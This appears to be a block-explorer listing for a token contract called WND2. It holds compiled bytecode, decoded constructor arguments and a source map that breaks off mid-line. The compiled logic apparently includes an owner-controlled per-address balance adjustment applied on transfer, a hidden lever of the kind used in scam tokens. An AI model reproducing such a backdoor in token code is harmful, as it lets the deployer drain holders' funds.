fffffffffffff1681526020019081526020016000208190555050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060038054610bac90611fad565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd890611fad565b8015610c255780601f10610bfa57610100808354040283529160200191610c25565b820191906000526020600020905b815481529060010190602001808311610c0857829003601f168201915b5050505050905090565b600080610c3a611050565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf690612242565b60405180910390fd5b610d0c8286868403611058565b60019250505092915050565b600080610d23611050565b9050610d308185856112ae565b600191505092915050565b610d43611050565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc9906121b0565b60405180910390fd5b8060088190555050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e6a611050565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906121b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f60906122d4565b60405180910390fd5b610f7281611aea565b50565b610f7d611050565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611003906121b0565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf90612366565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f906123f8565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112159190611de1565b60405180910390a3505050565b600061122e8484610ddc565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112a8578181101561129a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129190612464565b60405180910390fd5b6112a78484848403611058565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611315906124f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138590612588565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c9061261a565b60405180910390fd5b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541315611536576114ee600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb090919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611654565b6000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205412156116535761160f600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc690919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000806008549050600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176b57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561170e5760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561176a5760095490505b5b61179160646117838387611bdc90919063ffffffff16565b611bf290919063ffffffff16565b91506000821115611932576117ee82600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc690919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611885826005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb090919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119299190611de1565b60405180910390a35b61198f8285611941919061263a565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc690919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2f82856119e1919061263a565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8487611acd919061263a565b604051611ada9190611de1565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a35050565b60008183611bbe919061200e565b905092915050565b60008183611bd4919061263a565b905092915050565b60008183611bea919061266e565b905092915050565b60008183611c0091906126f7565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c42578082015181840152602081019050611c27565b83811115611c51576000848401525b50505050565b6000601f19601f8301169050919050565b6000611c7382611c08565b611c7d8185611c13565b9350611c8d818560208601611c24565b611c9681611c57565b840191505092915050565b60006020820190508181036000830152611cbb8184611c68565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611cf382611cc8565b9050919050565b611d0381611ce8565b8114611d0e57600080fd5b50565b600081359050611d2081611cfa565b92915050565b6000819050919050565b611d3981611d26565b8114611d4457600080fd5b50565b600081359050611d5681611d30565b92915050565b60008060408385031215611d7357611d72611cc3565b5b6000611d8185828601611d11565b9250506020611d9285828601611d47565b9150509250929050565b60008115159050919050565b611db181611d9c565b82525050565b6000602082019050611dcc6000830184611da8565b92915050565b611ddb81611d26565b82525050565b6000602082019050611df66000830184611dd2565b92915050565b600080600060608486031215611e1557611e14611cc3565b5b6000611e2386828701611d11565b9350506020611e3486828701611d11565b9250506040611e4586828701611d47565b9150509250925092565b600060ff82169050919050565b611e6581611e4f565b82525050565b6000602082019050611e806000830184611e5c565b92915050565b600060208284031215611e9c57611e9b611cc3565b5b6000611eaa84828501611d11565b91505092915050565b611ebc81611ce8565b82525050565b6000602082019050611ed76000830184611eb3565b92915050565b6000819050919050565b611ef081611edd565b82525050565b6000602082019050611f0b6000830184611ee7565b92915050565b600060208284031215611f2757611f26611cc3565b5b6000611f3584828501611d47565b91505092915050565b60008060408385031215611f5557611f54611cc3565b5b6000611f6385828601611d11565b9250506020611f7485828601611d11565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611fc557607f821691505b60208210811415611fd957611fd8611f7e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061201982611d26565b915061202483611d26565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561205957612058611fdf565b5b828201905092915050565b7f214d61726b657400000000000000000000000000000000000000000000000000600082015250565b600061209a600783611c13565b91506120a582612064565b602082019050919050565b600060208201905081810360008301526120c98161208d565b9050919050565b60006120db82611edd565b91506120e683611edd565b9250827f80000000000000000000000000000000000000000000000000000000000000000182126000841215161561212157612120611fdf565b5b827f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01821360008412161561215957612158611fdf565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061219a602083611c13565b91506121a582612164565b602082019050919050565b600060208201905081810360008301526121c98161218d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061222c602583611c13565b9150612237826121d0565b604082019050919050565b6000602082019050818103600083015261225b8161221f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006122be602683611c13565b91506122c982612262565b604082019050919050565b600060208201905081810360008301526122ed816122b1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612350602483611c13565b915061235b826122f4565b604082019050919050565b6000602082019050818103600083015261237f81612343565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006123e2602283611c13565b91506123ed82612386565b604082019050919050565b60006020820190508181036000830152612411816123d5565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061244e601d83611c13565b915061245982612418565b602082019050919050565b6000602082019050818103600083015261247d81612441565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124e0602583611c13565b91506124eb82612484565b604082019050919050565b6000602082019050818103600083015261250f816124d3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612572602383611c13565b915061257d82612516565b604082019050919050565b600060208201905081810360008301526125a181612565565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612604602683611c13565b915061260f826125a8565b604082019050919050565b60006020820190508181036000830152612633816125f7565b9050919050565b600061264582611d26565b915061265083611d26565b92508282101561266357612662611fdf565b5b828203905092915050565b600061267982611d26565b915061268483611d26565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126bd576126bc611fdf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061270282611d26565b915061270d83611d26565b92508261271d5761271c6126c8565b5b82820490509291505056fea2646970667358221220355b7b7482d546a6889ff54b2b400f3aa11d140ed6a7b1eed7c1ac9fb232fca764736f6c634300080c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000004574e4432000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004574e443200000000000000000000000000000000000000000000000000000000

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000004574e4432000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004574e443200000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): WND2
Arg [1] : symbol_ (string): WND2
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [4] : 574e443200000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 574e443200000000000000000000000000000000000000000000000000000000


Deployed ByteCode Sourcemap

12364:5257:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9818:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10375:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10114:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17329:289;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10022:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10577:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15039:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13929:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12508:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14923:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14712:99;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;780:103;;;:::i;:::-;;554:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15185:130;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15323:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9917:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10825:426;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17134:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14819:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10223:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;893:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14601:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9818:91;9863:13;9896:5;9889:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9818:91;:::o;10375:192::-;10449:4;10466:13;10482:12;:10;:12::i;:::-;10466:28;;10505:32;10514:5;10521:7;10530:6;10505:8;:32::i;:::-;10555:4;10548:11;;;10375:192;;;;:::o;10114:99::-;10166:7;10193:12;;10186:19;;10114:99;:::o;17329:289::-;17451:4;17468:15;17486:12;:10;:12::i;:::-;17468:30;;17511:38;17527:4;17533:7;17542:6;17511:15;:38::i;:::-;17560:28;17571:4;17577:2;17581:6;17560:10;:28::i;:::-;17606:4;17599:11;;;17329:289;;;;;:::o;10022:84::-;10071:5;10096:2;10089:9;;10022:84;:::o;10577:240::-;10665:4;10682:13;10698:12;:10;:12::i;:::-;10682:28;;10721:66;10730:5;10737:7;10776:10;10746:11;:18;10758:5;10746:18;;;;;;;;;;;;;;;:27;10765:7;10746:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10721:8;:66::i;:::-;10805:4;10798:11;;;10577:240;;;;:::o;15039:138::-;15501:10;15490:21;;:7;:5;:7::i;:::-;:21;;;:57;;;;15537:10;15515:32;;:18;;;;;;;;;;;:32;;;15490:57;15482:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;15156:12:::1;;15144:1;15137:32;;;;:::i;:::-;15113:10;:21;15124:9;15113:21;;;;;;;;;;;;;;;:56;;;;15039:138:::0;:::o;13929:28::-;;;;;;;;;;;;;:::o;12508:118::-;12573:7;12600:9;:18;12610:7;12600:18;;;;;;;;;;;;;;;;12593:25;;12508:118;;;:::o;14923:106::-;15501:10;15490:21;;:7;:5;:7::i;:::-;:21;;;:57;;;;15537:10;15515:32;;:18;;;;;;;;;;;:32;;;15490:57;15482:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;15013:8:::1;14997:13;;:24;;;;;;;;;;;;;;;;;;14923:106:::0;:::o;14712:99::-;701:12;:10;:12::i;:::-;691:22;;:6;;;;;;;;;;;:22;;;683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14799:4:::1;14780:16;;:23;;;;;;;;;;;;;;;;;;14712:99:::0;:::o;780:103::-;701:12;:10;:12::i;:::-;691:22;;:6;;;;;;;;;;;:22;;;683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;845:30:::1;872:1;845:18;:30::i;:::-;780:103::o:0;554:87::-;600:7;627:6;;;;;;;;;;;620:13;;554:87;:::o;15185:130::-;15501:10;15490:21;;:7;:5;:7::i;:::-;:21;;;:57;;;;15537:10;15515:32;;:18;;;;;;;;;;;:32;;;15490:57;15482:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;15303:3:::1;15289::::0;15282:25:::1;;;;:::i;:::-;15258:10;:21;15269:9;15258:21;;;;;;;;;;;;;;;:49;;;;15185:130:::0;:::o;15323:119::-;15387:6;15413:10;:21;15424:9;15413:21;;;;;;;;;;;;;;;;15406:28;;15323:119;;;:::o;9917:95::-;9964:13;9997:7;9990:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9917:95;:::o;10825:426::-;10918:4;10935:13;10951:12;:10;:12::i;:::-;10935:28;;10974:24;11001:11;:18;11013:5;11001:18;;;;;;;;;;;;;;;:27;11020:7;11001:27;;;;;;;;;;;;;;;;10974:54;;11067:15;11047:16;:35;;11039:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11152:60;11161:5;11168:7;11196:15;11177:16;:34;11152:8;:60::i;:::-;11239:4;11232:11;;;;10825:426;;;;:::o;17134:185::-;17204:4;17221:13;17237:12;:10;:12::i;:::-;17221:28;;17260:29;17271:5;17278:2;17282:6;17260:10;:29::i;:::-;17307:4;17300:11;;;17134:185;;;;:::o;14819:94::-;701:12;:10;:12::i;:::-;691:22;;:6;;;;;;;;;;;:22;;;683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14901:4:::1;14888:10;:17;;;;14819:94:::0;:::o;10223:142::-;10303:7;10330:11;:18;10342:5;10330:18;;;;;;;;;;;;;;;:27;10349:7;10330:27;;;;;;;;;;;;;;;;10323:34;;10223:142;;;;:::o;893:201::-;701:12;:10;:12::i;:::-;691:22;;:6;;;;;;;;;;;:22;;;683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1002:1:::1;982:22;;:8;:22;;;;974:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1058:28;1077:8;1058:18;:28::i;:::-;893:201:::0;:::o;14601:103::-;701:12;:10;:12::i;:::-;691:22;;:6;;;;;;;;;;;:22;;;683:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14692:4:::1;14671:18;;:25;;;;;;;;;;;;;;;;;;14601:103:::0;:::o;94:98::-;147:7;174:10;167:17;;94:98;:::o;11259:380::-;11412:1;11395:19;;:5;:19;;;;11387:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11493:1;11474:21;;:7;:21;;;;11466:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11577:6;11547:11;:18;11559:5;11547:18;;;;;;;;;;;;;;;:27;11566:7;11547:27;;;;;;;;;;;;;;;:36;;;;11615:7;11599:32;;11608:5;11599:32;;;11624:6;11599:32;;;;;;:::i;:::-;;;;;;;;11259:380;;;:::o;11647:441::-;11782:24;11809:25;11819:5;11826:7;11809:9;:25::i;:::-;11782:52;;11869:17;11849:16;:37;11845:236;;11931:6;11911:16;:26;;11903:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12007:51;12016:5;12023:7;12051:6;12032:16;:25;12007:8;:51::i;:::-;11845:236;11771:317;11647:441;;;:::o;15589:1537::-;15742:1;15726:18;;:4;:18;;;;15718:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;15820:1;15805:17;;:3;:17;;;;15797:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;15875:17;15895:9;:15;15905:4;15895:15;;;;;;;;;;;;;;;;15875:35;;15942:10;15929:9;:23;;15921:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;16029:1;16010:10;:16;16021:4;16010:16;;;;;;;;;;;;;;;;:20;16006:237;;;16064:46;16092:10;:16;16103:4;16092:16;;;;;;;;;;;;;;;;16064:9;:15;16074:4;16064:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;16046:9;:15;16056:4;16046:15;;;;;;;;;;;;;;;:64;;;;16006:237;;;16150:1;16131:10;:16;16142:4;16131:16;;;;;;;;;;;;;;;;:20;16127:116;;;16185:46;16213:10;:16;16224:4;16213:16;;;;;;;;;;;;;;;;16185:9;:15;16195:4;16185:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;16167:9;:15;16177:4;16167:15;;;;;;;;;;;;;;;:64;;;;16127:116;16006:237;16257:22;16294:17;16314:10;;16294:30;;16364:1;16339:27;;:13;;;;;;;;;;;:27;;;16335:240;;16394:13;;;;;;;;;;;16387:20;;:3;:20;;;16383:83;;;16440:10;;16428:22;;16383:83;16492:13;;;;;;;;;;;16484:21;;:4;:21;;;16480:84;;;16538:10;;16526:22;;16480:84;16335:240;16602:34;16632:3;16602:25;16617:9;16602:10;:14;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;16585:51;;16670:1;16653:14;:18;16649:252;;;16706:35;16726:14;16706:9;:15;16716:4;16706:15;;;;;;;;;;;;;;;;:19;;:35;;;;:::i;:::-;16688:9;:15;16698:4;16688:15;;;;;;;;;;;;;;;:53;;;;16782:43;16810:14;16782:9;:23;14324:42;16782:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;16756:9;:23;14324:42;16756:23;;;;;;;;;;;;;;;:69;;;;14324:42;16845:44;;16854:4;16845:44;;;16874:14;16845:44;;;;;;:::i;:::-;;;;;;;;16649:252;16931:48;16964:14;16951:10;:27;;;;:::i;:::-;16931:9;:15;16941:4;16931:15;;;;;;;;;;;;;;;;:19;;:48;;;;:::i;:::-;16913:9;:15;16923:4;16913:15;;;;;;;;;;;;;;;:66;;;;17007:47;17039:14;17026:10;:27;;;;:::i;:::-;17007:9;:14;17017:3;17007:14;;;;;;;;;;;;;;;;:18;;:47;;;;:::i;:::-;16990:9;:14;17000:3;16990:14;;;;;;;;;;;;;;;:64;;;;17085:3;17070:48;;17079:4;17070:48;;;17103:14;17090:10;:27;;;;:::i;:::-;17070:48;;;;;;:::i;:::-;;;;;;;;15707:1419;;;15589:1537;;;:::o;1104:191::-;1178:16;1197:6;;;;;;;;;;;1178:25;;1223:8;1214:6;;:17;;;;;;;;;;;;;;;;;;1278:8;1247:40;;1268:8;1247:40;;;;;;;;;;;;1167:128;1104:191;:::o;2362:98::-;2420:7;2451:1;2447;:5;;;;:::i;:::-;2440:12;;2362:98;;;;:::o;2470:::-;2528:7;2559:1;2555;:5;;;;:::i;:::-;2548:12;;2470:98;;;;:::o;2578:::-;2636:7;2667:1;2663;:5;;;;:::i;:::-;2656:12;;2578:98;;;;:::o;2686:::-;2744:7;2775:1;2771;:5;;;;:::i;:::-;2764:12;;2686:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:1